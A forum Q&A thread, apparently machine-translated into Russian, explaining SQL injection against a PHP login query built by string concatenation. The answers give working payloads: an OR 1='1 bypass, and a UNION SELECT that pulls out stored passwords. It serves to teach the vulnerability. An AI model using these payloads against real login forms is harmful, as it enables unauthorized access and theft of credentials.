Теория внедрения SQL

Я все время использую слой ORM в базах данных, поэтому я не возражаю против инъекций SQL, но друг дал мне эту задачу, и я до сих пор не знаю, как ее решить.

Я знаю, что PHP-скрипт просто проверяет, возвращен ли запрос! = Null (имя пользователя соответствует введенному имени пользователя & пароль найден).

Сам запрос в PHP выглядит так:

$sql = "SELECT name FROM users WHERE name='".$name. "' AND password='".$password. "'";

Какой лучший способ архивировать возврат этого запроса! = Ноль ИЛИ получение действительных данных для входа (имя пользователя) & пароль). Пароль хранится в простой базе данных. Я знаю, что хранить обычные файлы плохо, и я знаю, что использование PDO — это хорошо, но я понятия не имею, как решить эту забавную задачу, которую он мне дал, возможно, потому что я все время использую PDO.

0

Решение

Скажем, у нас есть эти две входные переменные:

$name = "iam";
$password = "aninjection";

Что приводит к этому запросу:

$sql = "SELECT name FROM users WHERE name='iam' AND password='aninjection'";

И скажем теперь, мы добавим это к $password переменная:

$password = "aninjection' OR 1='1";

Что приводит к:

$sql = "SELECT name FROM users WHERE name='iam' AND password='aninjection' OR 1='1'";

Этот запрос теперь приведет к true и показать каждое имя из пользовательской таблицы.
Это конечно основной пример. Мы также могли бы принести больше вреда, отбросив целые столы.

3

Другие решения

Если вы хотите получить пароли, вы должны ввести

$name = "whatever";
$password = "' OR '1'='1' UNION ALL SELECT password from users;--";

Это тогда сделало бы запрос

SELECT name FROM users WHERE name='whatever' AND password='' OR '1'='1' UNION ALL SELECT password from users;--'

Увидеть этот ответ за то, как злоумышленник начнет работать с этим путем введения в запрос.

1